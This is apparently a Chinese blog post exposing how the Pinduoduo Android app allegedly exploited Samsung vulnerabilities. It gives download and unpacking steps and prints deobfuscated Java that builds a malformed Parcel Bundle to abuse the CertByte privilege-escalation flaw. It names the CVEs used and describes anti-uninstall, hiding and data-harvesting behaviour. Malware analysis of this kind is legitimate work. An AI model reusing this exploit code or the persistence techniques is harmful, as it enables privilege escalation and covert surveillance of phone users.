参考链接：
https://github.com/davinci1010/pinduoduo_backdoor
https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw
https://xz.aliyun.com/t/2364
利用 Samsung 手机 com.samsung.android.cepproxyks.CertByte 的提权漏洞使用3月5日之前的版本，也就是版本为6.50版本之前
https://com-xunmeng-pinduoduo.en.uptodown.com/android/download/91472728
之后将将 apk 文件改为 zip 解压，打开以下目录
1\assets\component\com.xunmeng.pinduoduo.AliveBaseAbility.7z\com.xunmeng.pinduoduo.AliveBaseAbility\vmp_src\mw1.bin
当然，这是加了壳的，根据上方的 GitHub 仓库脱壳之后的代码应该如下
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758Public static Bundle makeBundleForSamsungSinceP(Intent intent){ Bundle bundle = new Bundle(); Parcel obtain = Parcel.obtain(); Parcel obtain2 = Parcel.obtain(); Parcel obtain3 = Parcel.obtain(); obtain2.writeInt(3); obtain2.writeInt(13); obtain2.writeInt(72); obtain2.writeInt(3); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(4); obtain2.writeString("com.samsung.android.cepproxyks.CertByte"); obtain2.writeInt(0); byte b[] = new byte[0]; obtain2.writeByteArray(b); obtain2.writeInt(0); obtain2.writeInt(13); obtain2.writeInt(72); obtain2.writeInt(53); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(1); obtain2.writeInt(1); obtain2.writeInt(13); obtain2.writeInt(72); obtain2.writeInt(48); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(0); obtain2.writeInt(13); obtain2.writeInt(-1); int dataPosition = obtain2.dataPosition(); obtain2.writeString("intent"); obtain2.writeInt(4); obtain2.writeString("android.content.Intent"); obtain2.writeToParcel(obtain3, 0); obtain2.appendFrom(obtain3, 0, obtain3.dataSize()); int dataPosition2 = obtain2.dataPosition(); obtain2.setDataPosition(dataPosition2 - 4); obtain2.writeInit(dataPosition2 -dataPosition); obtain2.setdataPosition(dataPosition2); int dataSize = obtain2.dataSize(); obtain.writeInt(dataSize); obtain.writeInt(1279544898); obtain.appendFrom(obtain2, 0, dataSize); obtain.setDataPosition(0); bundle.readFromParcel(obtain); return bundle;}
关于这些代码的意思，ChatGPT给出的解释：
https://chatgpt.com/share/5313eddc-1f76-4578-9cf4-8d61eab89635
首先 PDD 利用了 Samsung 的 CVE-2021-25337 的一个驱动内核信息泄露漏洞，之后再使用了使用 DECON driver 中的 UAF 漏洞（CVE-2021-25370 ）利用 signalfd 系统调用修改 addr_limit，转化为内核任意地址读写，恭喜！你的手机已经被提权成功了。
提权之后 PDD 干了什么首先利用了手机厂商 OEM 代码中导出的 root-path FileContentProvider， 进行 System App 和敏感系统应用文件读写（具体代码在参考链接中的微信文章）
当然，既然是 PDD 了，为了欺骗用户可谓是不择手段。不然为什么为啥要利用上方的 FileContentProvider
利用上方的操作，直接突破沙箱机制、绕开权限系统改写系统关键配置文件为自身保活，修改用户桌面(Launcher)配置隐藏自身或欺骗用户实现防卸载。
做完这些，
动态下发dex，开始给自己保活，防卸载，然后搞数据， 比如：1a68d982e02fc22b464693a06f528fac.dex 读取用户手机上的app使用记录95cd95ab4d694ad8bdf49f07e3599fb3.dex 读取用户手机的应用通知。
不是，哥们。你是大厂子也敢这么干啊？